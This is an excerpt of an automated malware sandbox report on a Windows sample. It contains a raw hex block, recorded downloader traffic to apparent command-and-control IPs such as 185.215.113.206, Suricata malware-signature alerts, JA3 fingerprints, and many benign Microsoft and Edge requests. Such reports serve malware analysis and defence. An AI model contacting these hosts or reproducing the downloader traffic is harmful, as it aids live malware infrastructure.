4a b1 f0 fe 9a 7f 0f 5f d3 9a ab 56 bf 29 95 f0 5b 5d 58 03 0a 53 f9 53 09 9f 1e ab 25 85 b4 53 79 ca a2 ae 48 6d fd 3e 66 70 8f f3 b6 02 02 e5 23 e4 65 16 b3 8b e2 66 64 88 c9 1e a1 91 2b fd f0 27 7a 53 e3 b2 a9 67 79 f6 6d 19 17 87 ca da af d8 72 16 d3 84 84 3d d2 a2 8b 4b ea fc 7b 32 ef f7 3b 82 5b 65 ad f6 c9 fc af d1 b6 37 b3 32 ac fe b9 b5 e1 04 1a 0d 8f 33 d5 cd d8 79 d0 7e 52 fa 91 b6 32 71 b5 98 aa 13 f5 ac 6f 20 49 96 1b e7 17 b6 df 16 36 19 76 dc 25 87 f8 a5 31 24 3c d4 f9 bd 1c a8 4c c3 61 ba ec 1c 00 7d 6b 30 e9 fd 21 4f 36 3a be d4 d4 fa a9 87 24 e3 0a b9 c5 d9 69 3b b4 51 c2 76 16 42 30 63 2a bd 49 35 d9 ee db 21 a1 95 8c 2b e1 c2 b0 d5 9f 53 93 05 cc eb ff 88 79 d7 78 61 69 54 8c 08 3e 88 92 4b 8b 8c e0 8f a6 e5 4b e1 6b 25 90 8d fc a9 12 2d 19 66 98 09 74 ee 71 8d 10 21 57 2b 73 5b d6 d1 96 24 62 1e 75 df 03 44 83 79 5c 5d fe 23 c1 10 b0 66 60 6b 48 e7 ee 70 54 4b 91 1b bf 10 78 de f3 57 e5 a9 12 83 76 66 0b 50 48 bc 50 5d f4 02 e9 14 c6 bb 9b 12 76 a9 2b 57 41 55 3e bd 3e 8f 47 c2
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 20.189.173.22:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49711 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49766 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49891 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49961 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49972 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49979 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49980 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50031 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50036 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50039 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50047 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50053 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50061 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50060 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50077 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50079 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50090 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50088 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50086 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50101 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50116 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50111 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50159 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50177 -> 104.21.7.169:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.4

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DCC60 PR_Recv,

0_2_6C5DCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DA7lFO3zLn22lMe&MD=5fBfWx8m HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732612172319&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=110737551C0664D7127822161D1F6521&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
